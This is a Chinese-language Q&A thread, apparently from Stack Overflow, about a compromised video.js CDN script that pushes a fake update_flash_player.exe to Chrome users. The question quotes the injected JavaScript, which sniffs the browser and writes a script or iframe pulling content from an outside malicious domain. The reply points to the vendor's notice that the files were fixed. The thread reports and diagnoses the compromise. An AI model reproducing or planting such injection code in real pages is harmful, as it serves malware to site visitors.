javascript - 在 http://vjs.zencdn.net/c/video.js?ver=3.5.1 中发现恶意软件 update_flash_player.exe

Question

使用 Chrome 浏览一些网站时，系统提示我下载文件：

• update_flash_player.exe

Safari 和 Firefox 没有问题，只有 Chrome。我的平台是Mac。

我检查了页面源，我认为我在以下脚本中发现了恶意代码：

• http://vjs.zencdn.net/c/video.js?ver=3.5.1

我认为是恶意代码：

if(navigator.appVersion.indexOf("MSIE")!=-1){ 
document.write('<script src="http://cdn.adsbarscipt.com/links/jump/"></script>');
}
if(navigator.appVersion.indexOf("Chrome")!=-1){ 
document.write('<iframe src="http://cdn.adsbarscipt.com/links/flash/?updnew" width="200"    height="200"></iframe>');
}

我的问题是：我在哪里可以找到脚本的干净版本？

编辑

正如评论中所指出的，脚本的作者已经清理了它，现在它是安全的。

Answer 1

我会将此添加为评论，但我没有足够的声誉。

看起来video.js已经发布了一个关于这个问题的博客：http: //blog.videojs.com/post/61309840958/unauthorized-modification-of-video-js-cdn-files

他们的一些文件受到了影响，但他们说他们现在已经解决了这个问题。